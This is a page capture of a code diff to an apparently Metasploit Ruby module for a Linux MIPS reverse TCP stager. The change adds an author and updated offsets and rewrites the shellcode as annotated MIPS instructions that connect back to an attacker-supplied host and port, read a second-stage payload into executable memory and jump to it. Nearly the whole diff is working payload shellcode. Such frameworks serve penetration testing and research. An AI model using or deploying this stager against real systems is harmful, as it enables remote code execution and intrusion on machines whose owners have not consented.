9
9
10
10
module MetasploitModule
11
11
12
- CachedSize = 212
12
+ CachedSize = 272
13
13
14
14
include Msf ::Payload ::Stager
15
15
include Msf ::Payload ::Linux
@@ -20,7 +20,8 @@ def initialize(info = {})
20
20
'Description' => 'Connect back to the attacker' ,
21
21
'Author' =>
22
22
[
23
- 'juan vazquez'
23
+ 'juan vazquez' ,
24
+ 'tkmru'
24
25
] ,
25
26
'License' => MSF_LICENSE ,
26
27
'Platform' => 'linux' ,
@@ -30,26 +31,85 @@ def initialize(info = {})
30
31
{
31
32
'Offsets' =>
32
33
{
33
- 'LHOST' => [ [ 58 , 62 ] , 'ADDR16MSB' ] ,
34
- 'LPORT' => [ 50 , 'n' ] ,
34
+ 'LHOST' => [ [ 66 , 70 ] , 'ADDR16MSB' ] ,
35
+ 'LPORT' => [ 58 , 'n' ] ,
35
36
} ,
36
37
'Payload' =>
37
- "\x24 \x0f \xff \xfa \x01 \xe0 \x78 \x27 \x21 \xe4 \xff \xfd \x21 \xe5 " +
38
- "\xff \xfd \x28 \x06 \xff \xff \x24 \x02 \x10 \x57 \x01 \x01 \x01 \x0c " +
39
- "\xaf \xa2 \xff \xfc \x8f \xa4 \xff \xfc \x24 \x0f \xff \xfd \x01 \xe0 " +
40
- "\x78 \x27 \xaf \xaf \xff \xe0 \x3c \x0e \x11 \x5c \xaf \xae \xff \xe4 " +
41
- "\x3c \x0e \x7f \x00 \x35 \xce \x00 \x01 \xaf \xae \xff \xe6 \x27 \xa5 " +
42
- "\xff \xe2 \x24 \x0c \xff \xef \x01 \x80 \x30 \x27 \x24 \x02 \x10 \x4a " +
43
- "\x01 \x01 \x01 \x0c \x24 \x04 \xff \xff \x24 \x05 \x10 \x01 \x20 \xa5 " +
44
- "\xff \xff \x24 \x09 \xff \xf8 \x01 \x20 \x48 \x27 \x01 \x20 \x30 \x20 " +
45
- "\x24 \x07 \x08 \x02 \x24 \x0b \xff \xea \x01 \x60 \x58 \x27 \x03 \xab " +
46
- "\x58 \x20 \xad \x60 \xff \xff \xad \x62 \xff \xfb \x24 \x02 \x0f \xfa " +
47
- "\x01 \x01 \x01 \x0c \xaf \xa2 \xff \xf8 \x8f \xa4 \xff \xfc \x8f \xa5 " +
48
- "\xff \xf8 \x24 \x06 \x10 \x01 \x20 \xc6 \xff \xff \x24 \x02 \x0f \xa3 " +
49
- "\x01 \x01 \x01 \x0c \x8f \xa4 \xff \xf8 \x00 \x40 \x28 \x20 \x24 \x09 " +
50
- "\xff \xfd \x01 \x20 \x48 \x27 \x01 \x20 \x30 \x20 \x24 \x02 \x10 \x33 " +
51
- "\x01 \x01 \x01 \x0c \x8f \xb1 \xff \xf8 \x8f \xb2 \xff \xfc \x02 \x20 " +
52
- "\xf8 \x09 "
38
+ "\x24 \x0f \xff \xfa " + # li t7,-6
39
+ "\x01 \xe0 \x78 \x27 " + # nor t7,t7,zero
40
+ "\x21 \xe4 \xff \xfd " + # addi a0,t7,-3
41
+ "\x21 \xe5 \xff \xfd " + # addi a1,t7,-3
42
+ "\x28 \x06 \xff \xff " + # slti a2,zero,-1
43
+ "\x24 \x02 \x10 \x57 " + # li v0,4183
44
+ # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
45
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
46
+ "\x00 \x07 \x80 \x2a " + # slt s0,zero,a3
47
+ "\x16 \x00 \x00 \x36 " + # bnez s0,0x4006bc <failed>
48
+ "\xaf \xa2 \xff \xfc " + # sw v0,-4(sp)
49
+ "\x8f \xa4 \xff \xfc " + # lw a0,-4(sp)
50
+ "\x24 \x0f \xff \xfd " + # li t7,-3
51
+ "\x01 \xe0 \x78 \x27 " + # nor t7,t7,zero
52
+ "\xaf \xaf \xff \xe0 " + # sw t7,-32(sp)
53
+ "\x3c \x0e \x11 \x5c " + # lui t6,0x115c
54
+ "\xaf \xae \xff \xe4 " + # sw t6,-28(sp)
55
+ "\x3c \x0e \x7f \x00 " + # lui t6,0x7f00
56
+ "\x35 \xce \x00 \x01 " + # ori t6,t6,0x1
57
+ "\xaf \xae \xff \xe6 " + # sw t6,-26(sp)
58
+ "\x27 \xa5 \xff \xe2 " + # addiu a1,sp,-30
59
+ "\x24 \x0c \xff \xef " + # li t4,-17
60
+ "\x01 \x80 \x30 \x27 " + # nor a2,t4,zero
61
+ "\x24 \x02 \x10 \x4a " + # li v0,4170
62
+ # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
63
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
64
+ "\x00 \x07 \x80 \x2a " + # slt s0,zero,a3
65
+ "\x16 \x00 \x00 \x25 " + # bnez s0,0x4006bc <failed>
66
+ "\x24 \x04 \xff \xff " + # li a0,-1
67
+ "\x24 \x05 \x10 \x01 " + # li a1,4097
68
+ "\x20 \xa5 \xff \xff " + # addi a1,a1,-1
69
+ "\x24 \x09 \xff \xf8 " + # li t1,-8
70
+ "\x01 \x20 \x48 \x27 " + # nor t1,t1,zero
71
+ "\x01 \x20 \x30 \x20 " + # add a2,t1,zero
72
+ "\x24 \x07 \x08 \x02 " + # li a3,2050
73
+ "\x24 \x0b \xff \xea " + # li t3,-22
74
+ "\x01 \x60 \x58 \x27 " + # nor t3,t3,zero
75
+ "\x03 \xab \x58 \x20 " + # add t3,sp,t3
76
+ "\xad \x60 \xff \xff " + # sw zero,-1(t3)
77
+ "\xad \x62 \xff \xfb " + # sw v0,-5(t3)
78
+ "\x24 \x02 \x0f \xfa " + # li v0,4090
79
+ # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
80
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
81
+ "\x00 \x07 \x80 \x2a " + # slt s0,zero,a3
82
+ "\x16 \x00 \x00 \x15 " + # bnez s0,0x4006bc <failed>
83
+ "\xaf \xa2 \xff \xf8 " + # sw v0,-8(sp)
84
+ "\x8f \xa4 \xff \xfc " + # lw a0,-4(sp)
85
+ "\x8f \xa5 \xff \xf8 " + # lw a1,-8(sp)
86
+ "\x24 \x06 \x10 \x01 " + # li a2,4097
87
+ "\x20 \xc6 \xff \xff " + # addi a2,a2,-1
88
+ "\x24 \x02 \x0f \xa3 " + # li v0,4003
89
+ # read(sockfd, addr, 4096)
90
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
91
+ "\x00 \x07 \x80 \x2a " + # slt s0,zero,a3
92
+ "\x16 \x00 \x00 \x0c " + # bnez s0,0x4006bc <failed>
93
+ "\x8f \xa4 \xff \xf8 " + # lw a0,-8(sp)
94
+ "\x00 \x40 \x28 \x20 " + # add a1,v0,zero
95
+ "\x24 \x09 \xff \xfd " + # li t1,-3
96
+ "\x01 \x20 \x48 \x27 " + # nor t1,t1,zero
97
+ "\x01 \x20 \x30 \x20 " + # add a2,t1,zero
98
+ "\x24 \x02 \x10 \x33 " + # li v0,4147
99
+ # cacheflush(addr, nbytes, DCACHE)
100
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
101
+ "\x00 \x07 \x80 \x2a " + # slt s0,zero,a3
102
+ "\x16 \x00 \x00 \x03 " + # bnez s0,0x4006bc <failed>
103
+ "\x8f \xb1 \xff \xf8 " + # lw s1,-8(sp)
104
+ "\x8f \xb2 \xff \xfc " + # lw s2,-4(sp)
105
+ "\x02 \x20 \xf8 \x09 " + # jalr s1
106
+ # 4006bc <failed>:
107
+ "\x24 \x04 \x00 \x01 " + # li a0,1
108
+ "\x24 \x02 \x0f \xa1 " + # li v0,4001
109
+ # exit(status)
110
+ "\x01 \x01 \x01 \x0c " + # syscall 0x40404
111
+ "\x00 \x20 \x08 \x25 " + # move at,at
112
+ "\x00 \x20 \x08 \x25 " # move at,at
53
113
}
54
114
) )
55
115
end
0 commit comments